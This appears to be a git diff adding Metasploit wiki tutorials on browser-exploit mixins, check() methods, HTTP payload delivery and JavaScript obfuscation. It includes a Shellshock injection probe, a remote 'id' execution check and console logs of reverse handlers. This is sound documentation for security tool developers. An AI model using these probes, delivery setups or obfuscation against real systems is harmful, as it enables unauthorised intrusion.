Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +msf auxiliary(symantec_web_gateway_login) > +``` diff --git a/metasploit-framework.wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer.md b/metasploit-framework.wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer.md new file mode 100644 index 000000000000..a4c41fa77ccc --- /dev/null +++ b/metasploit-framework.wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer.md @@ -0,0 +1,304 @@ +The Metasploit Framework provides different mixins you can use to develop a browser exploit, mainly they are: + +* **[Msf::Exploit::Remote::HttpServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-HttpServer)** - The most basic form of a HTTP server. +* **[Msf::Exploit::Remote::HttpServer::HTML](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/http_server/html.rb)** - which provides Javascript functions that the module can use when crafting HTML contents. +* **[Msf::Exploit::Remote::BrowserExploitServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer)** - which includes features from both HttpServer and HttpServer::HTML, but with even more goodies. This writeup covers the [BrowserExploitServer](https://github.com/rapid7/metasploit-framework/blob/a7d255bbe5537822c614ede71933fdc6597dd369/lib/msf/core/exploit/remote/browser_exploit_server.rb) mixin. + +### The Automatic Exploitation Procedure + +The BrowserExploitServer mixin is the only mixin specially designed for browser exploitation. Before you use this mixin, you should understand what it does behind the scenes for you: + +1. It automatically collects the browser information, including things like: OS name, version, browser name, browser version, whether a proxy is used, Java plugin version, Microsoft Office version, etc, etc. If the browser doesn't have Javascript enabled, then it knows less about the target. All the info gathered will be stored in a profile managed by the mixin. +2. The mixin will then tag the browser to track the session. It will also use the same tag to retrieve the profile when needed. +3. Before the mixin decides if it should serve the exploit to the browser, it will check with the module for any exploitable requirements. If the requirements aren't met, it will send a 404 to the browser, and the operation bails. +4. If the requirements are met, the mixin will pass the profile (information about the browser gathered during the detection stage) to the module, and let it take over the rest. + +Hint: In the module, you can check the :source key in the profile to determine whether Javascript is enabled or not: If the :source is "script", it means Javascript is enabled. If it's "headers" (as in HTTP headers), then the browser has Javascript disabled. + +### Setting Exploitable Requirements + +Being able to set browser requirements is an important feature of the mixin. It allows your attack to be smarter, more targeted, and prevents accidents. Here's a scenario: Say you have a vulnerability against Internet Explorer that only affects a specific range of MSHTML builds, you can set the :os_name, :ua_name, :ua_ver, and :mshtml_build to make sure it doesn't blindly exploit against anything else. The :mshtml_build requirement can be found in "Product version" under MSHTML's file properties. + +Exploitable browser requirements are defined under "BrowserRequirements" in the module's metadata. Here's an example of defining a vulnerable target running some ActiveX control: + +```ruby +'BrowserRequirements' => +{ + source: /script/i, + activex: [ + { + clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}', + method: 'LoadMovie' + } + ], + os_name: /win/i +} +``` + +You can also define target-specific requirements. This is also how the mixin is able to automatically select a target, and you can get it with the "get_target" method. Here's an example of how to define target-specific requirements for IE8 on Win XP and IE 9 on Win 7: + +```ruby +'BrowserRequirements' => + { + :source => /script|headers/i, + 'ua_name' => HttpClients::IE, + }, +'Targets' => + [ + [ 'Automatic', {} ], + [ + 'Windows XP with IE 8', + { + :os_name => 'Windows XP', + 'ua_ver' => '8.0', + 'Rop' => true, + 'Offset' => 0x100 + } + ], + [ + 'Windows 7 with IE 9', + { + 'os_name' => 'Windows 7', + 'ua_ver' => '9.0', + 'Rop' => true, + 'Offset' => 0x200 + } + ] + ] +``` + +You can use these for **:os_name**: + +| Constant | Purpose | +| -------- | ----- | +| OperatingSystems::Match::WINDOWS | Match all versions of Windows | +| OperatingSystems::Match::WINDOWS_95 | Match Windows 95 | +| OperatingSystems::Match::WINDOWS_98 | Match Windows 98 | +| OperatingSystems::Match::WINDOWS_ME | Match Windows ME | +| OperatingSystems::Match::WINDOWS_NT3 | Match Windows NT 3 | +| OperatingSystems::Match::WINDOWS_NT4 | Match Windows NT 4 | +| OperatingSystems::Match::WINDOWS_2000 | Match Windows 2000 | +| OperatingSystems::Match::WINDOWS_XP | Match Windows XP | +| OperatingSystems::Match::WINDOWS_2003 | Match Windows Server 2003 | +| OperatingSystems::Match::WINDOWS_VISTA | Match Windows Vista | +| OperatingSystems::Match::WINDOWS_2008 | Match Windows Server 2008 | +| OperatingSystems::Match::WINDOWS_7 | Match Windows 7 | +| OperatingSystems::Match::WINDOWS_2012 | Match Windows 2012 | +| OperatingSystems::Match::WINDOWS_8 | Match Windows 8 | +| OperatingSystems::Match::WINDOWS_81 | Match Windows 8.1 | +| OperatingSystems::Match::LINUX | Match a Linux distro | +| OperatingSystems::Match::MAC_OSX | Match Mac OSX | +| OperatingSystems::Match::FREEBSD | Match FreeBSD | +| OperatingSystems::Match::NETBSD | Match NetBSD | +| OperatingSystems::Match::OPENBSD | Match OpenBSD | +| OperatingSystems::Match::VMWARE | Match VMWare | +| OperatingSystems::Match::ANDROID | Match Android | +| OperatingSystems::Match::APPLE_IOS | Match Apple IOS | + +You can use these for **:ua_name**: + +| Constant | Value | +| -------- | ----- | +| HttpClients::IE | "MSIE" | +| HttpClients::FF | "Firefox" | +| HttpClients::SAFARI | "Safari" | +| HttpClients::OPERA | "Opera" | +| HttpClients::CHROME | "Chrome" | + +More of these constants can be found here: + + +All currently supported requirements by the mixin can be found here (see REQUIREMENT_KEY_SET): + + +### Set up a listener + +After the detection stage and the requirement check, the mixin will trigger the "on_request_exploit" callback method, that's where you handle the HTTP request, craft the HTML, and send back the exploit response. Here's an example of how to set up "on_request_exploit": + +```ruby +# +# Listens for the HTTP request +# cli is the socket +# request is the Rex::Proto::Http::Request object +# target_info is a hash that contains all the browser info (aka the profile) +# +def on_request_exploit(cli, request, target_info) + print_status("Here's what I know about the target: #{target_info.inspect}") +end +``` + +### Crafting HTML with BrowserExploitServer + +There are two coding styles the BrowserExploitServer mixin supports: The good old HTML, or [ERB](http://ruby-doc.org/stdlib-2.1.3/libdoc/erb/rdoc/ERB.html) template. The first is pretty self-explanatory: + +```ruby +def on_request_exploit(cli, request, target_info) + html = %Q| + + Hello, world! + + | + send_exploit_html(cli, html) +end +``` + +[ERB](http://ruby-doc.org/stdlib-2.1.3/libdoc/erb/rdoc/ERB.html) is a new way to write Metasploit browser exploits. If you've written one or two web applications, this is no stranger to you. When you're using the BrowserExploitServer mixin to write an exploit, what really happens is you're writing a rails template. Here's an example of using of this feature: + +```ruby +def on_request_exploit(cli, request, target_info) + html = %Q| + + Do you feel lucky, punk?
+ <% if [true, false].sample %> + Lucky!
+ <% else %> + Bad luck, bro!
+ <% end %> + + | + send_exploit_html(cli, html) +end +``` + +If you want to access local variables or arguments, make sure to pass the binding object to send_exploit_html: + +```ruby +def exploit_template1(target_info, txt) + txt2 = "I can use local vars!" + + template = %Q| + <% msg = "This page is generated by an exploit" %> + <%=msg%>
+ <%=txt%>
+ <%=txt2%>
+

+ Data gathered from source: #{target_info[:source]}
+ OS name: #{target_info[:os_name]}
+ UA name: #{target_info[:ua_name]}
+ UA version: #{target_info[:ua_ver]}
+ Java version: #{target_info[:java]}
+ Office version: #{target_info[:office]} + | + + return template, binding() +end + +def on_request_exploit(cli, request, target_info) + send_exploit_html(cli, exploit_template(target_info, txt)) +end +``` + +The BrowserExploitServer mixin also offers plenty of other things useful while crafting the exploit. For example: it can generate a target-specific payload when you call the "get_payload" method. It also gives you access to the RopDb mixin, which contains a collection of ROPs to bypass DEP (Data Execution Prevention). Make sure to check out the API documentation for more information. + +To get thing started, here's a code example you can use start developing your browser exploit: + +```ruby +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::BrowserExploitServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "BrowserExploitServer Example", + 'Description' => %q{ + This is an example of building a browser exploit using the BrowserExploitServer mixin + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r' ], + 'References' => + [ + [ 'URL', 'http://metasploit.com' ] + ], + 'Platform' => 'win', + 'BrowserRequirements' => + { + :source => /script|headers/i, + }, + 'Targets' => + [ + [ 'Automatic', {} ], + [ + 'Windows XP with IE 8', + { + 'os_name' => 'Windows XP', + 'ua_name' => 'MSIE', + 'ua_ver' => '8.0' + } + ], + [ + 'Windows 7 with IE 9', + { + 'os_name' => 'Windows 7', + 'ua_name' => 'MSIE', + 'ua_ver' => '9.0' + } + ] + ], + 'Payload' => { 'BadChars' => "\x00" }, + 'DisclosureDate' => "Apr 1 2013", + 'DefaultTarget' => 0)) + end + + def exploit_template(target_info) + template = %Q| + Data source: <%=target_info[:source]%>
+ OS name: <%=target_info[:os_name]%>
+ UA name: <%=target_info[:ua_name]%>
+ UA version: <%=target_info[:ua_ver]%>
+ Java version: <%=target_info[:java]%>
+ Office version: <%=target_info[:office]%> + | + + return template, binding() + end + + def on_request_exploit(cli, request, target_info) + send_exploit_html(cli, exploit_template(target_info)) + end + +end +``` + +### JavaScript Obfuscation + +BrowserExploitServer relies on the [JSObfu mixin](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/jsobfu.rb) to support JavaScript obfuscation. When you're writing JavaScript, you should always write it like this: + +```ruby +js = js_obfuscate(your_code) +``` + +The ```#js_obfuscate``` will return a ```Rex::Exploitation::JSObfu``` object. To get the obfuscated JavaScript, call the ```#to_s``` method: + +```ruby +js.to_s +``` + +If you need to access an obfuscated symbol name, you can use then ```#sym``` method: + +```ruby +# Get the obfuscated version of function name test() +var_name = js.sym('test') +``` + +Note that by default, even though your module is calling the ```#js_obfuscate``` method, obfuscation will not kick in unless the user sets the JsObfuscate datastore option. This option is an OptInt, which allows you to set the number of times to obfuscate (default is 0). + +If your BES-based exploit does not want obfuscation at all, always make sure you call the ```#deregister_options``` and remove the JsObfuscate option. Like this: + +```ruby +deregister_options('JsObfuscate') +``` + +To learn more about Metasploit's JavaScript obfuscation capabilities, please read [How to obfuscate JavaScript in Metasploit](https://github.com/rapid7/metasploit-framework/wiki/How-to-obfuscate-JavaScript-in-Metasploit). + + +### Related Articles: +* [[How to write a browser exploit using HttpServer]] +* [[Information About Unmet Browser Exploit Requirements]] diff --git a/metasploit-framework.wiki/How-to-write-a-browser-exploit-using-HttpServer.md b/metasploit-framework.wiki/How-to-write-a-browser-exploit-using-HttpServer.md new file mode 100644 index 000000000000..ce0f3d2caffe --- /dev/null +++ b/metasploit-framework.wiki/How-to-write-a-browser-exploit-using-HttpServer.md @@ -0,0 +1,118 @@ +The Metasploit Framework provides different mixins you can use to develop a browser exploit, mainly they are [Msf::Exploit::Remote::HttpServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-HttpServer), Msf::Exploit::Remote::HttpServer::HTML and [Msf::Exploit::Remote::BrowserExploitServer](https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-browser-exploit-using-BrowserExploitServer). This writeup covers the HttpServer mixin. + +The HttpServer mixin is kind of the mother of all HTTP server mixins (like BrowserExploitServer and HttpServer::HTML). To use it, your module is required to have a "on_request_uri" method, which is a callback triggered when the HTTP server receives a HTTP request from the browser. An example of setting up "on_request_uri": + +```ruby +# +# Listens for a HTTP request. +# cli is the socket object, and request is a Rex::Proto::Http::Request object +# +def on_request_uri(cli, request) + print_status("Client requests URI: #{request.uri}") +end +``` + +The "on_request_uri" method is also where you can create the HTTP response. Here's a couple of choices you can use to do that: + +* **send_not_found(cli)** - Sends a 404 to the client. Make sure to pass the cli (socket) object. +* **send_redirect(cli, location='/', body='', headers={})** - Redirects the client to a new location. +* **send_response(cli, body, headers={})** - Sends a response to the client. This method is probably what you'll be using most of the time. + +If you've seen some of our exploit modules, you will also see them using Exploit::Remote::HttpServer::HTML instead of Exploit::Remote::HttpServer. Usage is mostly the same, the difference is the Exploit::Remote::HttpServer::HTML mixin gives you access to some Javascript functions like Base64, heap spraying, OS detection, etc. + +Here's an example of sending a HTTP response: + +```ruby +# +# Sends a "Hello, world!" to the client +# +def on_request_uri(cli, request) + html = "Hello, world!" + send_response(cli, html) +end +``` + +Also note that in order to handle a HTTP request, it must contain the base URIPATH, which by default is random. This means if you want to handle multiple URIs (possible if you need to handle a redirect or a link), you also need to make sure they have the base URIPATH. To retrieve the base URIPATH, you can use the "get_resource" method, here's an example: + +```ruby +def serve_page_1(cli) + html = "This is page 1" + send_response(cli, html) +end + +def serve_page_2(cli) + html = "This is page 2" + send_response(cli, html) +end + +def serve_default_page(cli) + html = %Q| + + Go to page 1
+ Go to page 2 + + | + + send_response(cli, html) +end + +def on_request_uri(cli, request) + case request.uri + when /page_1\.html$/ + serve_page_1(cli) + when /page_2\.html$/ + serve_page_2(cli) + else + serve_default_page(cli) + end +end +``` + +Of course, when you write a Metasploit browser exploit there's a lot more you need to think about. For example, your module probably needs to do browser detection, because it wouldn't make any sense to allow Chrome to receive an IE exploit, would it? You probably also need to build a payload that's specific to the target, which means your module needs to know what target it's hitting, and you have to build a method to customize the exploit accordingly, etc. The HttpServer and HttpServer::HTML mixin provies all kinds of methods to allow you to accomplish all these. Make sure to check out the API documentation (you can either do this by running msf/documentation/gendocs.sh, or just run "yard" in the msf directory), or checkout existing code examples (especially the recent ones). + +To get things started, you can always use the following template to start developing your browser exploit: + +```ruby +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "HttpServer mixin example", + 'Description' => %q{ + Here's an example of using the HttpServer mixin + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r' ], + 'References' => + [ + [ 'URL', 'http://metasploit.com' ] + ], + 'Platform' => 'win', + 'Targets' => + [ + [ 'Generic', {} ], + ], + 'DisclosureDate' => "Apr 1 2013", + 'DefaultTarget' => 0)) + end + + def on_request_uri(cli, request) + html = "hello" + send_response(cli, html) + end + +end +``` + +If you want to take a closer look at what the mixin can do, see: + diff --git a/metasploit-framework.wiki/How-to-write-a-check()-method.md b/metasploit-framework.wiki/How-to-write-a-check()-method.md new file mode 100644 index 000000000000..cf35860bbca0 --- /dev/null +++ b/metasploit-framework.wiki/How-to-write-a-check()-method.md @@ -0,0 +1,130 @@ +In Metasploit, exploits and auxiliary modules support the check command that allows the user to be able to determine the vulnerable state before using the module. This feature is handy for those who need to verify the vulnerability without actually popping a shell, and used to quickly identify all vulnerable, or possibly exploitable machines on the network. + +Although vulnerability checks aren't the focus of Metasploit, because it isn't a vulnerability scanner like Nexpose, we do actually encourage people to implement the check() method anyway to add more value to the module. If you do write one, make sure to keep these guidelines in mind: + +## Check Method Output + +Modules messages are important to the user, because they keep the user informed about what the module is doing, and usually make the module more debuggable. However, you do also want to keep your messages in verbose mode because it becomes really noisy if the check is used against multiple targets. Ideally, you only should be using these print methods: + +| Method | Description | +| ------ | ----------- | +| **vprint_line()** | verbose version of print_line | +| **vprint_status()** | verbose version of print_status that begins with "[*]" | +| **vprint_error()** | verbose version of print_error that begins with "[x]" | +| **vprint_warning()** | verbose version of print_warning that begins with "[!]", in yellow | + +Better yet, use the `CheckCode` description to provide additional information (see below). + +Note: You shouldn't be printing if a target is vulnerable or not, as this is automatically handled by the framework when your method returns a check code. + + +## Check Codes + +Once you have determined the vulnerable state, you should return a check code. Check codes are constants defined in `Msf::Exploit::CheckCode`, and these are the ones you can use: + +| Checkcode | Description | +| --------- | ----------- | +| **Exploit::CheckCode::Unknown** | Used if the module fails to retrieve enough information from the target machine, such as due to a timeout. | +| **Exploit::CheckCode::Safe** | Used if the check fails to trigger the vulnerability, or even detect the service. | +| **Exploit::CheckCode::Detected** | The target is running the service in question, but the check fails to determine whether the target is vulnerable or not. | +| **Exploit::CheckCode::Appears** | This is used if the vulnerability is determined based on passive reconnaissance. For example: version, banner grabbing, or simply having the resource that's known to be vulnerable. | +| **Exploit::CheckCode::Vulnerable** | Only used if the check is able to actually take advantage of the bug, and obtain some sort of hard evidence. For example: for a command execution type bug, get a command output from the target system. For a directory traversal, read a file from the target, etc. Since this level of check is pretty aggressive in nature, you should not try to DoS the host as a way to prove the vulnerability. | +| **Exploit::CheckCode::Unsupported** | The exploit does not support the check method. If this is the case, then you don't really have to add the check method. | + +The `CheckCode` also supports an optional description which is printed by the framework upon completion of the `check` method. For example: + +```ruby +return CheckCode::Appears('Vulnerable component XYZ is installed') +``` + +## Remote Check Example + +Here's an abstract example of how a Metasploit check might be written: + +```ruby +# +# Returns a check code that indicates the vulnerable state on an app running on OS X +# +def check + if exec_cmd_via_http("id") =~ /uid=\d+\(.+\)/ + # Found the correct ID output, good indicating our command executed + return Exploit::CheckCode::Vulnerable + end + + http_body = get_http_body + if http_body + if http_body =~ /Something CMS v1\.0/ + # We are able to find the version thefore more precise about the vuln state + return Exploit::CheckCode::Appears + elsif http_body =~ /Something CMS/ + # All we can tell the vulnerable app is running, but no more info to + # determine the vuln + return Exploit::CheckCode::Detected + end + else + vprint_error("Unable to determine due to a HTTP connection timeout") + return Exploit::CheckCode::Unknown + end + + Exploit::CheckCode::Safe +end +``` + +Note: If you are writing an auxiliary module with the `Msf::Auxiliary::Scanner` mixin, you should declare your check method like this: + +```ruby +def check_host(ip) + # Do your thing +end +``` + +### Local Exploit Check Example + +Most local exploit checks are done by checking the version of the vulnerable file, which is considered passive, therefore they should be flagging `Exploit::CheckCode::Appears`. Passive local exploit checks don't necessarily mean they are less reliable, in fact, they are not bad. But to qualify for `Exploit::CheckCode::Vulnerable`, your check should do the extra mile, which means either you somehow make the program return a vulnerable response, or you inspect the vulnerable code. + +An example of making the program return a vulnerable response is ShellShock (the following is specific for VMWare): + +```ruby +def check + check_str = Rex::Text.rand_text_alphanumeric(5) + # ensure they are vulnerable to bash env variable bug + if cmd_exec("env x='() { :;}; echo #{check_str}' bash -c echo").include?(check_str) && + cmd_exec("file '#{datastore['VMWARE_PATH']}'") !~ /cannot open/ + + Exploit::CheckCode::Vulnerable + else + Exploit::CheckCode::Safe + end +end +``` + +One way to inspect the vulnerable code is to come up with a signature, and see if it exists in the vulnerable process. Here's an example with adobe_sandbox_adobecollabsync.rb: + +```ruby +# 'AdobeCollabSyncTriggerSignature' => "\x56\x68\xBC\x00\x00\x00\xE8\xF5\xFD\xFF\xFF" +# 'AdobeCollabSyncTrigger' => 0x18fa0 + +def check_trigger + signature = session.railgun.memread(@addresses['AcroRd32.exe'] + target['AdobeCollabSyncTrigger'], target['AdobeCollabSyncTriggerSignature'].length) + if signature == target['AdobeCollabSyncTriggerSignature'] + return true + end + + return false +end + +def check + @addresses = {} + acrord32 = session.railgun.kernel32.GetModuleHandleA("AcroRd32.exe") + @addresses['AcroRd32.exe'] = acrord32["return"] + if @addresses['AcroRd32.exe'] == 0 + return Msf::Exploit::CheckCode::Unknown + elsif check_trigger + return Msf::Exploit::CheckCode::Vulnerable + else + return Msf::Exploit::CheckCode::Detected + end +end +``` + +Another possible way to inspect is grab the vulnerable file, and use Metasm. But of course, this is a lot slower and generates more network traffic. \ No newline at end of file diff --git a/metasploit-framework.wiki/How-to-write-a-module-using-HttpServer-and-HttpClient.md b/metasploit-framework.wiki/How-to-write-a-module-using-HttpServer-and-HttpClient.md new file mode 100644 index 000000000000..20ebd271de97 --- /dev/null +++ b/metasploit-framework.wiki/How-to-write-a-module-using-HttpServer-and-HttpClient.md @@ -0,0 +1,105 @@ +Using multiple networking mixins in a Metasploit module is always a tricky thing to do, because most likely you will run into issues like overlapping datastore options, variables, methods, the super call is only meant for one mixin, etc. This is considered as advanced module development, and sometimes can be rather painful to figure out on your own. To improve the Metasploit development experience, we have a few examples to demonstrate common scenarios that require you to use multiple mixins to achieve exploitation. + +### Today's lesson: Send a HTTP request to attack the target machine, and use a HttpServer for payload delivery. + +Say you want to exploit a web server or web application. You have code execution on the box, but you need to find a way to deliver the final payload (probably an executable), and a HTTP server happens to be your option. + +Here is how you can set it up: + +```ruby + +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer::HTML + + def initialize(info={}) + super(update_info(info, + 'Name' => "HttpClient and HttpServer Example", + 'Description' => %q{ + This demonstrates how to use two mixins (HttpClient and HttpServer) at the same time, + but this allows the HttpServer to terminate after a delay. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r' ], + 'References' => + [ + ['URL', 'http://metasploit.com'] + ], + 'Payload' => { 'BadChars' => "\x00" }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', {} ], + ], + 'Privileged' => false, + 'DisclosureDate' => "Dec 09 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The path to some web application', '/']), + OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]) + ], self.class) + end + + def on_request_uri(cli, req) + print_status("#{peer} - Payload request received: #{req.uri}") + send_response(cli, 'You get this, I own you') + end + + def primer + print_status("Sending a malicious request to #{target_uri.path}") + send_request_cgi({'uri'=>normalize_uri(target_uri.path)}) + end + + def exploit + begin + Timeout.timeout(datastore['HTTPDELAY']) { super } + rescue Timeout::Error + # When the server stops due to our timeout, this is raised + end + end +end +``` + +Here's what happens when you run the above example: + +1. The super call wrapped in the Timeout block will start the web server. +2. Before the web server is in the infinite loop state, the primer() method is called, which is where you send your malicious requests to get code execution. +3. Your HttpServer serves the final payload upon request. +4. After 10 seconds, the module raises a Timeout exception. The web server finally terminates. + +In case you're wondering why the web server must terminate after a period of time, this is because if the module fails to gain code execution on the target machine, obviously it will never ask your web server for the malicious payload, therefore there is no point to keeping it alive forever. Typically it shouldn't take a very long time to get a payload request, either, so we keep the timeout short. + +The output for the above example should look something like this: + +``` +msf exploit(test) > run +[*] Exploit running as background job. + +[*] Started reverse handler on 10.0.1.76:4444 +[*] Using URL: http://0.0.0.0:8080/SUuv1qjZbCibL80 +[*] Local IP: http://10.0.1.76:8080/SUuv1qjZbCibL80 +[*] Server started. +[*] Sending a malicious request to / +msf exploit(test) > +[*] 10.0.1.76 test - 10.0.1.76:8181 - Payload request received: /SUuv1qjZbCibL80 +[*] Server stopped. + +msf exploit(test) > +``` + +### Related Articles: + +* [[How to Send an HTTP Request Using HTTPClient]] +* [[How to write a browser exploit using HttpServer]] +* diff --git a/metasploit-framework.wiki/How-to-zip-files-with-Msf-Util-EXE.to_zip.md b/metasploit-framework.wiki/How-to-zip-files-with-Msf-Util-EXE.to_zip.md new file mode 100644 index 000000000000..302a317ca44e --- /dev/null +++ b/metasploit-framework.wiki/How-to-zip-files-with-Msf-Util-EXE.to_zip.md @@ -0,0 +1,25 @@ +# How to zip files with Msf::Util::EXE.to_zip +Compressing files into zip format is very easy with Metasploit. For most purposes, you can use `Msf::Util::EXE.to_zip()` to compress data into a zip file. + +Note that the former `Rex::Zip::Archive()` should no longer be used. + +## Usage: + +```ruby +files = + [ + {data: 'AAAA', fname: 'test1.txt', comment: 'my comment'}, + {data: 'BBBB', fname: 'test2.txt'} + ] + +zip = Msf::Util::EXE.to_zip(files) +``` + +If saved as a file, the above example will extract to the following: + +``` +$ unzip test.zip +Archive: test.zip + extracting: test1.txt + extracting: test2.txt +``` \ No newline at end of file diff --git a/metasploit-framework.wiki/Information-About-Unmet-Browser-Exploit-Requirements.md b/metasploit-framework.wiki/Information-About-Unmet-Browser-Exploit-Requirements.md new file mode 100644 index 000000000000..bb62ff689f52 --- /dev/null +++ b/metasploit-framework.wiki/Information-About-Unmet-Browser-Exploit-Requirements.md @@ -0,0 +1,64 @@ +So I see your browser exploit has refused to attack due to some kind of unmet requirements. Typically this means one of the following: + +* Your target doesn't have the right conditions to be exploited. +* Your target isn't vulnerable at all. + +The exploit should say what requirements are not met. The requirements are explained here: + + +| Key | Description | +| --- | ----------- | +| **:source** | Target has JavaScript disabled. | +| **:ua_name** | Target isn't using the preferred browser. For example: Firefox, IE. | +| **:ua_ver** | Target isn't using the preferred browser version. | +| **:os_name** | Target isn't using the preferred operating system. | +| **:os_flavor** | This has been deprecated. If you see this, your Metasploit is most likely out of date. | +| **:language** | Target isn't using the preferred OS language. | +| **:arch** | Target isn't on the preferred architecture. For example: x86/x64 | +| **:proxy** | Target has a proxy. | +| **:silverlight** | Target doesn't have Silverlight installed. | +| **:office** | Target doesn't have the preferred version of Microsoft Office installed, so the exploit cannot bypass DEP. | +| **:java** | Target doesn't have the preferred version of Java. Often this is used by exploits to bypass DEP. | +| **:clsid** | Target doesn't have the preferred ActiveX control. If this is the problem, you will only see a mismatch with :activex instead of :clsid. | +| **:method** | Target doesn't have the preferred ActiveX control. If this is the problem, you will only see a mismatch with :activex instead of :method. | +| **:mshtml_build** | Target isn't on the preferred build of Internet Explorer. Usually means only specific builds of IE are vulnerable. | +| **:flash** | Target isn't using the preferred version of Adobe Flash. Often this is used by exploits to leverage code execution. | +| **:vuln_test** | A custom JavaScript-based check. There should be a custom vuln_test_error message explaining why on msfconsole. | + + +### How to manually check requirement comparisons: + +If you'd like to check the comparisons, simply set VERBOSE to true. The following is an example: + +``` +msf exploit(ms13_022_silverlight_script_object) > set VERBOSE true +VERBOSE => true +msf exploit(ms13_022_silverlight_script_object) > run +[*] Exploit running as background job. + +[*] Started reverse handler on 192.168.1.64:4444 +[*] Using URL: http://0.0.0.0:8080/SHIzaS2aZxIA6 +msf exploit(ms13_022_silverlight_script_object) > +[*] Local IP: http://192.168.1.64:8080/SHIzaS2aZxIA6 +[*] Server started. +[*] 192.168.1.80 ms13_022_silverlight_script_object - 192.168.1.80 ms13_022_silverlight_script_object - Received cookie 'sVfdquJGHzpHyLItxoTgeJI'. +[*] 192.168.1.80 ms13_022_silverlight_script_object - Gathering target information. +[*] 192.168.1.80 ms13_022_silverlight_script_object - Sending response HTML. +[*] 192.168.1.80 ms13_022_silverlight_script_object - 192.168.1.80 ms13_022_silverlight_script_object - Info receiver page called. +[*] 192.168.1.80 ms13_022_silverlight_script_object - 192.168.1.80 ms13_022_silverlight_script_object - Received cookie 'ZnKtXOQIvxAclSrEOxJ'. +[!] 192.168.1.80 ms13_022_silverlight_script_object - 192.168.1.80 ms13_022_silverlight_script_object - Received sniffed browser data over POST: +{"os_name"=>["Microsoft Windows"], "os_flavor"=>["XP"], "ua_name"=>["MSIE"], "ua_ver"=>["8.0"], "arch"=>["x86"], "java"=>["null"], "silverlight"=>["false"], "flash"=>["null"], "office"=>["null"], "mshtml_build"=>["18702"]}. +[*] 192.168.1.80 ms13_022_silverlight_script_object - 192.168.1.80 ms13_022_silverlight_script_object - Received cookie 'ZnKtXOQIvxAclSrEOxJ'. +[*] 192.168.1.80 ms13_022_silverlight_script_object - 192.168.1.80 ms13_022_silverlight_script_object - Serving exploit to user with tag ZnKtXOQIvxAclSrEOxJ +[*] 192.168.1.80 ms13_022_silverlight_script_object - 192.168.1.80 ms13_022_silverlight_script_object - Setting target "ZnKtXOQIvxAclSrEOxJ" to :tried. +[!] 192.168.1.80 ms13_022_silverlight_script_object - 192.168.1.80 ms13_022_silverlight_script_object - Comparing requirement: source=(?i-mx:script|headers) vs k=script +[!] 192.168.1.80 ms13_022_silverlight_script_object - 192.168.1.80 ms13_022_silverlight_script_object - Comparing requirement: os_name=Microsoft Windows vs k=Microsoft Windows +[!] 192.168.1.80 ms13_022_silverlight_script_object - 192.168.1.80 ms13_022_silverlight_script_object - Comparing requirement: ua_name=MSIE vs k=MSIE +[!] 192.168.1.80 ms13_022_silverlight_script_object - 192.168.1.80 ms13_022_silverlight_script_object - Comparing requirement: silverlight=true vs k=false +[!] 192.168.1.80 ms13_022_silverlight_script_object - 192.168.1.80 ms13_022_silverlight_script_object - Comparing requirement: arch=x86 vs k=x86 +[!] 192.168.1.80 ms13_022_silverlight_script_object - Exploit requirement(s) not met: silverlight +``` + +### Related Reading: + +- [[How to write a browser exploit using BrowserExploitServer]] diff --git a/metasploit-framework.wiki/Keeping-in-sync-with-rapid7-master.md b/metasploit-framework.wiki/Keeping-in-sync-with-rapid7-master.md new file mode 100644 index 000000000000..007f1eb4eb7e --- /dev/null +++ b/metasploit-framework.wiki/Keeping-in-sync-with-rapid7-master.md @@ -0,0 +1,52 @@ +# Some Terminology + +In this quick HOWTO, we'll be referring to the `rapid7` fork of `metasploit-framework` as `upstream`. It's a pretty common local configuration, advocated by the [development environment setup](http://r-7.co/MSF-DEV). Your fork of `metasploit-framework` will be referred to as `origin`. + +The term 'repo' is short for 'Repository.' Also known as 'fork' (as a noun). + +## The Easy Way + +The easiest way to keep in sync with master is to trash your fork of `metasploit-framework`, and re-fork. This is a surprisingly common practice, since most people in the world don't work with Metasploit every day. If you're the sort to be struck by hackerish inspiration every few months, and couldn't give a whit about preserving branches, history, or pull requests, simply nuke your local fork. + +On your fork, in the GitHub UI, go to **Settings**, scroll down to the **Danger Zone**, and hit **Delete this repository**. Once you've re-authenticated, re-fork the `metasploit-framework` repository by going to the [Rapid7 repo](https://github.com/rapid7/metasploit-framework) and hit **Fork** as hard as you possibly can. + +## The Hard Way + +If you're contributing to the Metasploit Framework a lot, first off, THANK YOU. Metasploit is more than a framework, it's a collective and a community of people around the world who are driven to make the Internet -- and therefore, human civilization -- a better place. + +Gushing aside, if you want to keep in sync with upstream, the hard way (and therefore, best way), is to have a local clone of `origin/mestasploit-framework` on your local workstation. (Linux is preferred, but there are servicable solutions for OSX and Windows). + +And, with *that* said, the GitHub documentation is pretty excellent in explaining how to do this -- it's really not all that hard. Take a look 